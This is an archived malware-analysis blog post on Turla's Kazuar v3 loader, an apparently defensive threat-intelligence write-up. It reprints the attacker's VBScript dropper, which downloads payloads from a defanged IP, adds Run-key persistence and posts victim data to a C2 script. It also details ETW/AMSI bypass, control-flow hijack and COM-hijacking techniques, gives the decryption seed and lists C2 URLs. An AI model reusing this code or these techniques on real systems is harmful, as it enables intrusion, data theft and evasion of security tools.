{
	"id": "9e35f6fc-4cb5-46e0-b064-5abf9727c16f",
	"created_at": "2026-04-06T00:21:37.117951Z",
	"updated_at": "2026-04-10T03:37:04.458594Z",
	"deleted_at": null,
	"sha1_hash": "53c65ab9c07e0f0ff915aff028fd63a676b9b743",
	"title": "???????????? COMmand \u0026 Evade: Turla's Kazuar v3 Loader",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 920274,
	"plain_text": "COMmand \u0026 Evade: Turla's Kazuar v3 Loader\r\nPublished: 2026-01-14 · Archived: 2026-04-05 17:40:45 UTC\r\nThis blog post analyzes the latest version of Turla’s Kazuar v3 loader, which was previously examined at the beginning of\r\n2024. The upgraded loader heavily utilizes the Component Object Model (COM) and employs patchless Event Tracing for\r\nWindows (ETW) and Antimalware Scan Interface (AMSI) bypass techniques, as well as a control flow redirection trick,\r\nalongside various other methods to evade security solutions and increase analysis time. It is likely that this malware was\r\nused in the same campaign which ESET reported in their Gamaredon and Turla collaboration article, as the loaded Kazuar\r\nv3 payloads also use the agent label AGN-RR-01 .\r\nPreparing the Ground\r\nThe execution chain begins with a relatively uninteresting-looking VBScript file that was submitted to Virustotal as\r\n8RWRLT.vbs . The story behind the script is unknown, but its clean and unobfuscated code suggests that the attacker may\r\nhave deployed it on a system they already had access to.\r\nIt contains the following code (IP address defanged):\r\n'On Error Resume Next\r\nconst SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS = 13056\r\nhost = \"https://185.126.255[.]132\"\r\nSet objFSO = CreateObject(\"Scripting.FileSystemObject\")\r\nSet objFolder = objFSO.CreateFolder(CreateObject(\"WScript.Shell\").ExpandEnvironmentStrings(\"%LOCALAPPDATA%\") + \"\\Programs\\\r\nSet objFolder = objFSO.CreateFolder(CreateObject(\"WScript.Shell\").ExpandEnvironmentStrings(\"%LOCALAPPDATA%\") + \"\\Programs\\\r\nSet objFolder = objFSO.CreateFolder(CreateObject(\"WScript.Shell\").ExpandEnvironmentStrings(\"%LOCALAPPDATA%\") + \"\\Programs\\\r\nconc = host + \"/hpbprndi.exe\"\r\nSet objHTTP = CreateObject(\"WinHttp.WinHttpRequest.5.1\")\r\nSet WSHShell = CreateObject(\"WScript.Shell\")\r\nobjHttp.Option(4) = 13056\r\nobjHTTP.Open \"GET\", conc, False\r\nobjHttp.Send\r\noutFile=WSHShell.ExpandEnvironmentStrings(\"%LOCALAPPDATA%\") + \"\\Programs\\HP\\Printer\\Driver\\hpbprndi.exe\"\r\nSet stream = CreateObject(\"ADODB.Stream\")\r\nstream.Type = 1\r\nstream.Open\r\nstream.Write objHttp.ResponseBody\r\nstream.SaveToFile outFile, 2\r\nstream.Close\r\nconc = host + \"/hpbprndiLOC.dll\"\r\nobjHttp.Option(4) = 13056\r\nobjHTTP.Open \"GET\", conc, False\r\nobjHttp.Send\r\noutFile=WSHShell.ExpandEnvironmentStrings(\"%LOCALAPPDATA%\") + \"\\Programs\\HP\\Printer\\Driver\\hpbprndiLOC.dll\"\r\nSet stream = CreateObject(\"ADODB.Stream\")\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 1 of 20\n\nstream.Type = 1\r\nstream.Open\r\nstream.Write objHttp.ResponseBody\r\nstream.SaveToFile outFile, 2\r\nstream.Close\r\nconc = host + \"/jayb.dadk\"\r\nobjHttp.Option(4) = 13056\r\nobjHTTP.Open \"GET\", conc, False\r\nobjHttp.Send\r\noutFile=WSHShell.ExpandEnvironmentStrings(\"%LOCALAPPDATA%\") + \"\\Programs\\HP\\Printer\\Driver\\jayb.dadk\"\r\nSet stream = CreateObject(\"ADODB.Stream\")\r\nstream.Type = 1\r\nstream.Open\r\nstream.Write objHttp.ResponseBody\r\nstream.SaveToFile outFile, 2\r\nstream.Close\r\nconc = host + \"/kgjlj.sil\"\r\nobjHttp.Option(4) = 13056\r\nobjHTTP.Open \"GET\", conc, False\r\nobjHttp.Send\r\noutFile=WSHShell.ExpandEnvironmentStrings(\"%LOCALAPPDATA%\") + \"\\Programs\\HP\\Printer\\Driver\\kgjlj.sil\"\r\nSet stream = CreateObject(\"ADODB.Stream\")\r\nstream.Type = 1\r\nstream.Open\r\nstream.Write objHttp.ResponseBody\r\nstream.SaveToFile outFile, 2\r\nstream.Close\r\nconc = host + \"/pkrfsu.ldy\"\r\nobjHttp.Option(4) = 13056\r\nobjHTTP.Open \"GET\", conc, False\r\nobjHttp.Send\r\noutFile=WSHShell.ExpandEnvironmentStrings(\"%LOCALAPPDATA%\") + \"\\Programs\\HP\\Printer\\Driver\\pkrfsu.ldy\"\r\nSet stream = CreateObject(\"ADODB.Stream\")\r\nstream.Type = 1\r\nstream.Open\r\nstream.Write objHttp.ResponseBody\r\nstream.SaveToFile outFile, 2\r\nstream.Close\r\nCreateObject(\"WScript.Shell\").Run(WSHShell.ExpandEnvironmentStrings(\"%LOCALAPPDATA%\") + \"\\Programs\\HP\\Printer\\Driver\\hpbpr\r\nCreateObject(\"WScript.Shell\").RegWrite \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Hewlett Packard Dr\r\nset objWMIService = GetObject(\"winmgmts:\" \u0026 \"{impersonationLevel=impersonate}!\\\\\" \u0026 strComputer)\r\nSet colOperatingSystems = objWMIService.ExecQuery(\"Select * from Win32_OperatingSystem\")\r\nFor Each objOperatingSystem in colOperatingSystems\r\ninfo = info \u0026 objOperatingSystem.Caption \u0026 vbCRLF \u0026 _\r\nobjOperatingSystem.Version \u0026 vbCRLF \u0026 _\r\nMid(objOperatingSystem.LastBootUpTime, 5, 2) \u0026 \"/\" \u0026 _\r\nMid(objOperatingSystem.LastBootUpTime, 7, 2) \u0026 \"/\" \u0026 _\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 2 of 20\n\nLeft(objOperatingSystem.LastBootUpTime,4) \u0026 \" \" \u0026 _\r\nMid(objOperatingSystem.LastBootUpTime, 9, 2) \u0026 \":\" \u0026 _\r\nMid(objOperatingSystem.LastBootUpTime, 11, 2) \u0026 \" \" \u0026 vbCRLF\r\nNext\r\nSet WSHShell = CreateObject(\"WScript.Shell\")\r\ninfo = info \u0026 WSHShell.RegRead(\"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\\PROCESSOR_ARCHITECTURE\")\r\nSet networkInfo = CreateObject(\"WScript.Network\")\r\ninfo = info \u0026 networkInfo.ComputerName \u0026 vbCRLF \u0026 _\r\nnetworkInfo.UserName \u0026 vbCRLF \u0026 _\r\nnetworkInfo.UserDomain \u0026 vbCRLF\r\nSet colProcess = objWMIService.ExecQuery(\"Select * from Win32_Process\")\r\nFor Each Process in colProcess\r\ninfo = info \u0026 Process.Name \u0026 vbCRLF\r\nNext\r\ninfo = info \u0026 AllFolders(WSHShell.ExpandEnvironmentStrings(\"%LOCALAPPDATA%\") + \"\\Programs\\HP\\Printer\\Driver\\\") \u0026 vbCRLF\r\nconc = host + \"/requestor.php\"\r\nSet objHTTP = CreateObject(\"WinHttp.WinHttpRequest.5.1\")\r\nobjHttp.Option(4) = 13056\r\nobjHTTP.Open \"POST\", conc, False\r\nobjHTTP.SetRequestHeader \"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4\r\nobjHTTP.setRequestHeader \"Content-Type\", \"text/plain\"\r\nobjHttp.Send info\r\nFunction AllFolders(WDir)\r\nRezult=\"\"\r\nSet F = CreateObject(\"Scripting.FileSystemObject\").GetFolder(WDir)\r\nSet files = F.Files\r\nFor each item in files\r\nRezult = Rezult \u0026 WDir \u0026 \"\\\" \u0026 item.Name \u0026 vbTab \u0026 item.DateCreated \u0026 vbTab \u0026 item.DateLastModified \u0026 vb\r\nNext\r\nSet SubF = F.SubFolders\r\nFor Each item In SubF\r\nRezult = Rezult \u0026 WDir \u0026 \"\\\" \u0026 item.Name \u0026 vbTab \u0026 item.DateCreated \u0026 vbTab \u0026 item.DateLastModified \u0026 vb\r\nRezult = Rezult + AllFolders(WDir + \"\\\" + item.Name)\r\nNext\r\nAllFolders = Rezult\r\nEnd Function\r\nThe script creates multiple directories that result in the final folder path %LOCALAPPDATA%\\Programs\\HP\\Printer\\Driver .\r\nNext, several files are downloaded from the server at 185.126.255[.]132 into the newly created folder. The following table\r\nshows the files with descriptions:\r\nSHA-256 File name Description\r\n34b7df7919dbbe031b5d802accb566ce6e91df4155b1858c3c81e4c003f1168c hpbprndi.exe\r\nLegitimate signed\r\nprinter driver\r\ninstaller from\r\nHewlett-Packard\r\n69908f05b436bd97baae56296bf9b9e734486516f9bb9938c2b8752e152315d4 hpbprndiLOC.dll Native loader\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 3 of 20\n\nSHA-256 File name Description\r\nbefa1695fcee9142738ad34cb0bfb453906a7ed52a73e2d665cf378775433aa8 jayb.dadk\r\nEncrypted\r\nKERNEL Kazuar\r\nv3\r\n458ca514e058fccc55ee3142687146101e723450ebd66575c990ca55f323c769 kgjlj.sil\r\nEncrypted\r\nWORKER\r\nKazuar v3\r\nb755e4369f1ac733da8f3e236c746eda94751082a3031e591b6643a596a86acb pkrfsu.ldy\r\nEncrypted\r\nBRIDGE Kazuar\r\nv3\r\nTo execute the native loader named hpbprndiLOC.dll , the script runs the legitimate signed printer driver installer\r\nhpbprndi.exe . We will later see how DLL sideloading technique works. For persistency, the script creates a classic registry\r\nRun entry with the file path of the legitimate signed printer driver installer\r\n%LOCALAPPDATA%\\Programs\\HP\\Printer\\Driver\\hpbprndi.exe as the value.\r\nFinally, the script collects victim data and sends it to a script at https://185.126.255[.]132/requestor.php to notify the\r\noperator of the infection and provide initial information. The following data is send:\r\nOperating system and version\r\nComputer uptime\r\nProcessor architecture\r\nComputer and user name\r\nUser domain\r\nList of processes\r\nList of files and folders (with create and last modified dates) within the created directory\r\n%LOCALAPPDATA%\\Programs\\HP\\Printer\\Driver\\\r\nThe server with the IP address 185.126.255[.]132 is hosted in Ukraine by the same provider ( South Park Networks LLC ,\r\noperated by hostiko.com.ua ) that was also used in one of the attacks described by ESET. The IP address has a Let's\r\nEncrypt certificate that is issued for esetcloud[.]com , a domain name used to imitate a legitimate ESET website:\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 4 of 20\n\nThe following illustration (icon source) shows the simplified file execution chain when the legitimate signed printer driver\r\ninstaller hpbprndi.exe is run by the VBScript file:\r\nWhen hpbprndi.exe is executed, it sideloads the native loader named hpbprndiLOC.dll . I have written a blog post about\r\nthis sideloading technique that utilizes MFC satellite DLLs (Malware Sideloading via MFC Satellite DLLs). The native\r\nloader performs various tasks of which one is to decrypt the encrypted Kazuar payloads jayb.dadk , kgjlj.sil and\r\npkrfsu.ldy to memory (stage 1, green). To execute the decrypted Kazuar payloads (.NET), the loader decrypts, drops and\r\npasses execution to a COM-visible .NET assembly named jtjdypzmb.yqg (stage 2, blue). Finally, the KERNEL , WORKER\r\nand BRIDGE Kazuar v3 payloads are executed (stage 3, red) with the help of the COM-visible .NET assembly. The\r\nfollowing sections describe each stage in more detail.\r\nStage 1: The Native Loader\r\nThe native loader hpbprndiLOC.dll is a 64-bit DLL file that has 4 exported functions:\r\nFxmbrfqx\r\nQtupnngh\r\nIotnj\r\nWaoqmz\r\nIts functionality is divided between these exported functions with the DLL entry point DllMain acting as the orchestrator.\r\nThe code of the native loader is obfuscated code with fake API function calls that are never reached, junk if...else\r\nstatements, junk loops and real code in between. Important strings are encrypted with a XOR-based algorithm. I have\r\ncreated an IDAPython script to decrypt all strings that can be found in the Appendix .\r\nThe control flow is as follows:\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 5 of 20\n\nThe illustration shows the order of the function executions by their numbers. As shown, the function Qtupnngh is called\r\ntwice. The Turla developers use a control flow redirection trick to execute the code in the middle of the function when it’s\r\ncalled the second time. This and the other methods in each (exported) function is described in more detail in the following\r\nsections.\r\nDllMain function\r\nAs previously mentioned, the DllMain entry point is used to call each of the exported functions. It utilizes several\r\nWindows APIs that have callback functions ( EnumWindows , EnumSystemCodePagesW , EnumResourceTypesW ,\r\nEnumDesktopsW ) in a nested way to additionally obfuscate the control flow by redirecting execution to the next code part. It\r\nalso dynamically resolves additional Windows API functions that are subsequently used to bypass ETW, AMSI and for more\r\ncontrol flow obfuscation. At last, DllMain creates a log file with the file path %LOCALAPPDATA%\\Temp\\dksuluc.hpn where it\r\nwrites its progress and error messages to.\r\nFxmbrfqx function\r\nThis function suspends all threads except for the current one. By freezing other threads, the malware ensures that only its\r\ncode is running and thereby avoiding detection, debugging or analysis efforts from security tools that may use other threads\r\nto scan or monitor the process. But this method has also other advantages that are not related to bypassing security software.\r\nBy running only its own thread, it can operate without competition for CPU resources, thus reducing the chance of being\r\ninterrupted by legitimate code execution within the hpbprndi.exe process. It might also prevent conflicts and errors when\r\nonly the malicious code is executed.\r\nQtupnngh (first run) + Iotnj + Waoqmz functions\r\nThe three functions Qtupnngh , Iotnj and Waoqmz contain code for a control flow redirection trick that makes use of\r\nthe way the DLL was loaded (MFC satellite DLL loading via LoadLibraryA ). It works as follows:\r\n1. Locate Proximal Address: Get a proximal address as a reference that is near the final target address to redirect to\r\nwithin Qtupnngh .\r\n2. Resolve Final Target: Use the near target address within Qtupnngh to search for the actual target address to which\r\nthe control flow will be redirected.\r\n3. Stack Walk for Return Address: Walk the stack to find the return address of the LoadLibraryExW caller (located in\r\nLoadLibraryExA ). This return address is pushed to the stack during the sequence: LoadLibraryA (called by\r\nhpbprndi.exe ) -\u003e LoadLibraryExA -\u003e LoadLibraryExW .\r\n4. State Preservation: Backup the original instructions at the identified return address in LoadLibraryExA to ensure the\r\ncode can be restored later.\r\n5. Control Flow Hijack (Hook): Patch the bytes at the return address with a call to the Qtupnngh target address. When\r\nthe system thinks the DLL loading is finished and tries to return to LoadLibraryA , it instead triggers a “second run”\r\nof the target code within Qtupnngh .\r\n6. Restoration (Unhook): Once the redirection has successfully captured the execution flow, write the saved original\r\nbytes back to LoadLibraryExA to remove the evidence of the hook and restore original functionality.\r\n7. Payload Execution: With the control flow successfully hijacked and the hooks cleaned up, the program proceeds to\r\nrun its primary malicious logic.\r\nWhen the execution of the malware DLL seems to have already ended and control is passed back to hpbprndi.exe , or\r\nmore precisely LoadLibraryA , it jumps back to the malware’s code within Qtupnngh .\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 6 of 20\n\nI have created a POC of this control flow redirection method that can be found here:\r\nhttps://github.com/TheEnergyStory/LoadLibraryControlFlowRedirection\r\nQtupnngh function (second run)\r\nOn the second run, this function carries out the primary malicious routines. At first, patchless ETW and AMSI bypasses\r\nare employed that use hardware breakpoint hooking to hide the subsequent COM and .NET activities. It works as follows:\r\n1. Register a Vectored Exception Handler: The exception handler contains the logic to spoof the results of the security\r\nchecks once a breakpoint is hit.\r\n2. Locate Target Functions: Resolve the memory addresses of NtTraceControl (ETW) and AmsiScanBuffer\r\n(AMSI). These functions are central for suppressing defensive telemetry and prevent script-based detections.\r\n3. Capture Thread State: Call GetThreadContext to take a “snapshot” of the current thread’s CPU state which allows\r\nto modify the hardware debug registers ( Dr0 – Dr7 ) without interrupting the CPU immediately.\r\n4. Set Hardware Breakpoints: Modify the CONTEXT snapshot in memory to load Dr0 and Dr1 with the addresses of\r\nthe target functions found in Step 2 and activate them by flipping Dr7 .\r\n5. Commit the State: Call NtContinue to tell the CPU to immediately adopt the modified CONTEXT snapshot. The\r\nhardware breakpoint hooks are now “live” and the CPU is watching for those specific memory addresses.\r\n6. Intercepting and Tailored Spoofing: When the CPU attempts to execute either NtTraceControl or\r\nAmsiScanBuffer , a “single step” exception is triggered that pauses the thread and hands control to the exception\r\nhandler. The handler then identifies which function was hit and applies a specific logic for each:\r\nFor ETW: The goal is to disable logging. The handler simply identifies the call and prepares to jump over it,\r\neffectively “blinding” the event tracing system without returning an error.\r\nFor AMSI: The goal is to bypass a scan. The handler reaches into the stack to find the AMSI_RESULT pointer\r\nand manually overwrites it with AMSI_RESULT_CLEAN . It also sets the RAX register to S_OK to tell the\r\napplication the scan completed perfectly.\r\nThe Final Jump: In both cases, the handler finishes by adjusting the Instruction Pointer ( RIP ) to the return\r\naddress of the caller. This “jumps” execution past the security logic, making it appear to the system as if the\r\nfunctions ran and verified everything was safe.\r\nRather than modifying code on disk or patching bytes in memory, this implementation performs a context switch to trick the\r\nprocessor into monitoring its own execution. The most critical aspect of this code is that it ensures the bypass is active\r\nimmediately. While standard functions like SetThreadContext might not take effect instantly or reliably, this\r\nimplementation uses the native API function NtContinue . This function takes the modified CONTEXT structure and tells the\r\nCPU to immediately discard its current state and adopt the new one. The moment NtContinue is called, the CPU’s\r\nhardware registers are updated to intercept the target functions the moment they are called. When the CPU hits a target\r\naddress, it triggers a hardware exception caught by a custom handler, which spoofs a “clean” result and skips the security\r\nfunction entirely.\r\nI have created a POC of these ETW and AMSI bypasses that can be found here:\r\nhttps://github.com/TheEnergyStory/PatchlessEtwAndAmsiBypass\r\nSubsequently, the following details the malware’s use of COM to generate registry data and create and register several COM\r\ncallable applications used to run the Kazuar payloads.\r\nAt first, the malware replicates the ADODB.Stream COM object registration from HKEY_CLASSES_ROOT (the machine-wide\r\nregistry hive) into the HKEY_CURRENT_USER ( HKCU ) hive to facilitate stealthy file operations, specifically the creation of the\r\nCOM-visible .NET assembly. Usually, the registration for the ADODB.Stream COM object resides only within the\r\nHKEY_CLASSES_ROOT hive and is not present by default in HKCU . By duplicating this COM registration, the malware\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 7 of 20\n\nleverages the Windows COM search order, which inherently prioritizes user-specific ( HKCU ) entries over system-wide\r\n( HKLM ) ones. This trick is primarily an evasion technique designed to blindside Endpoint Detection and Response (EDR)\r\ntools and other behavioral monitors that often focus their auditing on the standard, machine-wide locations for sensitive\r\nCOM classes. The following illustration (icon sources) shows the replication procedure:\r\nTo replicate the registration data, the malware initializes a specialized 64-bit session by instantiating the\r\nCLSID_WbemLocator object and leverages Windows Management Instrumentation (WMI) via the StdRegProv class. To\r\nensure it interacts with the native 64-bit registry rather than the virtualized WOW64 (Windows-on-Windows 64-bit) views,\r\nthe malware utilizes a CLSID_WbemContext object. By specifically populating this context with the\r\n__ProviderArchitecture and __RequiredArchitecture flags set to 64, it forces the WMI service to not use the Registry\r\nRedirector. By offloading the registry replication operations to the WMI service, the actual reads and writes do not originate\r\nfrom the malware process itself, but are instead executed by the legitimate system process wmiprvse.exe.\r\nTo create the target folder for the COM-visible .NET assembly, the malware uses COM Shell Automation to interact with\r\nthe Windows UI. This trick, to create a directory through the operating system’s own shell, makes the activity appear less\r\nsuspicious. The following illustration shows the process:\r\nThe malware first instantiates the CLSID_ShellWindows class to access the collection of open File Explorer windows. By\r\ncalling the Item(0) method, it attaches to an active explorer.exe window. It then navigates the shell’s object hierarchy,\r\nmoving from the Document to the Application property, until it reaches the top-level Shell object. From there, it calls\r\nNameSpace to target C:\\ and executes NewFolder to create the directories\r\nProgramData\\WindowsSupport\\Packages\\Drivers . Because the request is handled via Remote Procedure Calls (RPC), the\r\nfolder creation is not attributed to the malware process, but instead appears to come from explorer.exe . This allows the\r\nmalware to bypass security tools that only monitor for suspicious programs creating directories directly.\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 8 of 20\n\nI have created a POC for this folder creation method that can be found here:\r\nhttps://github.com/TheEnergyStory/ShellWindowComFolderCreate\r\nSubsequently, the malware decrypts the COM-visible .NET assembly to memory and uses the (replicated) ADODB.Stream\r\nCOM object to write it to disk as shown in the following illustration:\r\nIt first configures the stream’s environment by setting the Type property to 1 (binary mode) to handle raw bytes and the\r\nMode property to 3 (read/write access) to allow buffer manipulation. Once the configuration is set, the malware calls the\r\nOpen method to initialize the internal memory stream. The decrypted COM-visible .NET assembly bytes are then passed\r\ninto the stream via the Write method. To move the payload from memory to the target directory, the malware invokes\r\nSaveToFile . Finally, it calls the Close method to flush the buffers and terminate the object session, leaving it on the disk\r\nunder C:\\ProgramData\\WindowsSupport\\Packages\\Drivers\\jtjdypzmb.yqg without having called standard file-system APIs\r\ndirectly.\r\nUtilizing the previously instantiated CLSID_WbemLocator object, the malware subsequently creates three distinct COM\r\nobject registrations in the registry that serve as entry points for the COM-visible .NET assembly jtjdypzmb.yqg , as shown\r\nin the following illustration:\r\nThe malware registers these three COM objects within the HKEY_CURRENT_USER\\Software\\Classes\\CLSID key to ensure\r\nuser-level persistence. If the current process is running with administrative privileges, it also creates these entries in the\r\nHKEY_LOCAL_MACHINE\\Software\\Classes\\CLSID key to achieve machine-wide impact. By manually creating these entries,\r\nthe malware replicates the exact registration process usually performed by the legitimate Regasm.exe (assembly\r\nregistration tool) when exposing a .NET assembly to COM clients. By registering the COM objects in both hives, the\r\nmalware likely seeks to ensure multi-level persistence and mimic legitimate system-wide software deployments.\r\nEach COM object registration contains the following data:\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 9 of 20\n\nEach {CLSID} key identifies the component as IbadessasGrvionana and associates it with a unique AppId , while the\r\nProgId provides a user-friendly identifier for the same class. The core of this execution mechanism lies in the\r\nInprocServer32 subkey, which specifies mscoree.dll (.NET runtime engine) as the primary handler. Further\r\nconfiguration within this key includes the Assembly and Class strings that define the managed identity and a CodeBase\r\nentry pointing directly to the payload at file:///C:\\ProgramData\\WindowsSupport\\Packages\\Drivers\\jtjdypzmb.yqg . By\r\nlocking the RuntimeVersion to v4.0.30319 , the malware explicitly targets the .NET Framework 4.0 (and later) CLR,\r\nensuring its assembly loads correctly regardless of which older .NET versions might be present on the system. Setting the\r\nThreadingModel to Both allows it to execute efficiently in any apartment type without performance-degrading\r\nmarshaling.\r\nFinally, the malware instantiates each of the three registered COM objects to load and execute one the Kazuar v3 payloads\r\n( KERNEL , WORKER , BRIDGE ) directly from memory as illustrated below:\r\nTo initiate execution, it passes the encrypted Kazuar payload bytes, along with the cryptographic seed 2337973361 , to the\r\nCOM-visible .NET assembly’s public method EeseOleAscaUtcent . When an instance is invoked, the .NET runtime parses\r\nthe jtjdypzmb.yqg file and bridges the COM gap via Interop, allowing it to run within a dllhost.exe (COM surrogate)\r\nunder svchost.exe for isolation. This architecture ensures that all subsequent malicious Kazuar activity is attributed to the\r\nsurrogate process rather than hpbprndi.exe .\r\nThe COM-visible .NET assembly jtjdypzmb.yqg is a DLL that acts as a bridge between the native loader and the Kazuar\r\n.NET payloads. It is also heavily obfuscated with randomized namespace, class, method, variable, … names and contains\r\njunk code mixed with real code.\r\nWhen the native loader initiates COM activation of the COM-visible .NET assembly by calling CoCreateInstance ,\r\nWindows performs a registry lookup to locate the component’s registration. For a .NET assembly, the InprocServer32 key\r\npoints to mscoree.dll rather than the DLL itself, a redirection that allows the operating system to hand over control to the\r\nmanaged environment. As the COM-visible .NET assembly registration uses AppID pointing to a GUID, the DLL is\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 10 of 20\n\nconfigured to use a surrogate. Windows launches dllhost.exe (the COM surrogate) to act as the host process, otherwise\r\nmscoree.dll is loaded directly into the caller’s memory space. Once active, mscoree.dll initializes the Common\r\nLanguage Runtime (CLR) and loads the .NET assembly into a secure AppDomain.\r\nTo bridge the architectural gap between unmanaged native code and managed .NET code, the CLR creates a COM Callable\r\nWrapper (CCW). This CCW is a memory proxy that presents a standard vtable (virtual function table) to the native caller,\r\nmaking the .NET object appear as a traditional COM component. When the native loader calls the EeseOleAscaUtcent\r\nmethod, it follows a pointer in the CCW’s vtable to a stub inside the CLR, which triggers marshaling. This process\r\nconverts unmanaged data types into managed .NET objects. Finally, the CLR jumps into the managed execution context of\r\nthe .NET DLL.\r\nWhen execution is passed from the native loader to the .NET assembly, its public method EeseOleAscaUtcent is called.\r\nThis method is contained in the public class IbadessasGrvionana which in turn is part of the global namespace and is\r\ndefined as follows:\r\n[Guid(\"13F2FC89-E0C6-40EB-9A8D-945471F6E010\")]\r\n[ComVisible(true)]\r\n[ClassInterface(ClassInterfaceType.None)]\r\npublic class IbadessasGrvionana\r\n{\r\n ...\r\n}\r\nAt first, a GUID is defined as a unique digital address (CLSID) for the class. By setting ComVisibleAttribute to true ,\r\nthe managed class IbadessasGrvionana is exposed to the unmanaged COM world. By setting the ClassInterfaceType to\r\nNone it ensures no automatic class interface is generated. This means the class can only provide late-bound access through\r\nthe IDispatch interface or expose functionality through interfaces implemented explicitly by the class.\r\nThe public method EeseOleAscaUtcent is defined as follows:\r\npublic void EeseOleAscaUtcent(string DomonokDindesi, byte[] TacGesynfiGesex, string LomsLutDetsRstws, bool RerenconGewoge\r\n{\r\n ...\r\n}\r\nThe DomonokDindesi parameter establishes the context by defining the module’s folder path on the system. The encrypted\r\nKazuar assembly payload is passed via the TacGesynfiGesex byte array, which remains inert until it is processed using the\r\nLomsLutDetsRstws cryptographic seed. To ensure the payload only executes within a specific target environment, the\r\nmethod utilizes three boolean flags ( RerenconGewoge , IlutsChpeAutypetm , StrkGechconDrm ) to dynamically salt the\r\ndecryption key with the local user name, domain name and machine name, respectively. The salting process is implemented\r\nby conditionally retrieving these environmental strings via helper methods and prepending them to the base key in a specific\r\nconcatenated sequence: the domain name, followed by the machine name, the user name and finally the original key string\r\nLomsLutDetsRstws . This multi-layered approach makes it possible that if the encrypted data is analyzed in a sandbox or a\r\ndifferent workstation, the resulting key mismatch prevents the successful decryption and reflective loading of the Kazuar\r\nassembly. Despite the availability of these environmental keying parameters to lock the Kazuar execution to a specific\r\ntarget, this option is however not used in this case.\r\nThe COM-visible .NET assembly implements the same AMSI and ETW bypasses as the native loader by recreating them as\r\nC# function delegates. Using GetModuleHandle and GetProcAddress , the code identifies the memory addresses of native\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 11 of 20\n\nfunctions such as AmsiScanBuffer and NtTraceControl . It then utilizes GetDelegateForFunctionPointer to map these\r\naddresses to managed delegates, allowing the C# environment to execute unmanaged code and modify security buffers at\r\nruntime. The execution logic also incorporates GetThreadContext , AddVectoredExceptionHandler and NtContinue to\r\nmanage low-level control flow. It registers a custom handler via AddVectoredExceptionHandler and uses\r\nSystem.Runtime.InteropServices.Marshal methods to manually manipulate native memory structures and thread states.\r\nAt last, it performs the payload decryption and decompression by implementing the Rijndael (AES) algorithm in CBC mode\r\nwith ISO10126 padding. It derives the cryptographic material by processing the seed string 2337973361 through two\r\ndifferent hashing algorithms: the MD5 hash of the string is used to set the initialization vector (IV), while the SHA-256 hash\r\nof the same string serves as the decryption key. It then performs a RAW inflate (decompress) on the decrypted data before it\r\nfinally executes the payload.\r\nStage 3: Kazuar Payloads\r\nAll three Kazuar v3 payloads ( KERNEL , WORKER , BRIDGE ) are .NET EXE assemblies that are obfuscated with the same\r\nalgorithm as used for the COM-visible .NET assembly. By employing a modular design, Kazuar divides its execution chain\r\ninto three specialized components - the kernel, worker and bridge - all of which have distinct roles while sharing a common\r\noperational base. The core logic resides in the kernel, which acts as the primary orchestrator. It handles task processing,\r\nkeylogging, configuration data handling and so on. It is configured to utilize the specific directory\r\nC:\\ProgramData\\WindowsGraphicalDevice to save its data and has the agent label AGN-RR-01 .\r\nThe worker manages operational surveillance by monitoring the infected host’s environment and security posture, among its\r\nvarious other responsibilities. Its execution logs reveal active tracking of defensive products including Kaspersky Endpoint\r\nSecurity, Symantec, Dr.Web and Windows Defender. Finally, the bridge functions as the communications layer, facilitating\r\ndata transfer and exfiltration from the local data directory through a series of compromised WordPress plugin paths:\r\nhttps://download.originalapk[.]com/wp-content/plugins/loginizer/styles/\r\nhttps://portal.northernfruit[.]com/wp-content/plugins/file-away/core/\r\nhttps://arianeconseil[.]online/wp-includes/sitemaps/html/\r\nThis three-tiered approach allows the malware to maintain modular architecture and also a smaller footprint. However, a\r\ndetailed analysis of the internal logic of each module is out of scope of this blog post. Palo Alto Networks has a great\r\nanalysis of Kazuar that is most likely still up-to-date.\r\nConclusion\r\nTurla’s Kazuar v3 loader represents a sophisticated, multi-stage infection chain designed to bypass modern security layers. It\r\nbegins with an initial VBScript that serves as the entry point, responsible for dropping and executing the native loader and\r\nKazuar payloads. The native component performs security bypass routines, including the blinding local security monitoring,\r\nbefore using complex control-flow redirection to hand off execution to a COM-visible .NET assembly. A defining\r\ncharacteristic of this threat is its heavy reliance on COM and sideloading via MFC satellite DLLs.\r\nBy embedding its execution logic into the Windows COM subsystem, the malware achieves high-level stealth by\r\nmasquerading its activity as legitimate interactions between trusted system processes. This COM integration facilitates the\r\nfinal stage: the in-memory decryption and loading of the three Kazuar v3 payloads ( KERNEL , WORKER , BRIDGE ). This\r\nmodular architecture, the security bypasses and its reliance on the COM subsystem ensure the attack remains resilient,\r\nstealthy and specifically created to evade detection.\r\nFiles\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 12 of 20\n\nAll malicious files including the legitimate signed printer driver installer from Hewlett-Packard can be downloaded here\r\n(pw: “kazuar_infected”): turla_kazuar_v3_loader.zip\r\nIOCs\r\nFile hashes (SHA-256):\r\nSHA-256\r\nFile name (on\r\ndisk)\r\nFile name (internal)\r\n3db10e71dab8710fb69b5c65c48382f43be3e4c79456d7a7abd5a7059873f581 8RWRLT.vbs 